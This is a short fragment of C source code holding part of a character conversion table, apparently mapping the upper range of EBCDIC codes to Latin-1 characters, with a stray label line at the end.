"\x72\xaa\xba\xe6\xb8\xc6\xa4\xb5\x7e\x73\x74\x75\x76\x77\x78\x79"
"\x7a\xa1\xbf\xd0\x5b\xde\xae\xac\xa3\xa5\xb7\xa9\xa7\xb6\xbc\xbd"
"\xbe\xdd\xa8\xaf\x5d\xb4\xd7\x7b\x41\x42\x43\x44\x45\x46\x47\x48"
"\x49\xad\xf4\xf6\xf2\xf3\xf5\x7d\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51"
"\x52\xb9\xfb\xfc\xf9\xfa\xff\x5c\xf7\x53\x54\x55\x56\x57\x58\x59"
"\x5a\xb2\xd4\xd6\xd2\xd3\xd5\x30\x31\x32\x33\x34\x35\x36\x37\x38"
"\x39\xb3\xdb\xdc\xd9\xda\x9f\xf0";
1-4-2 (www01)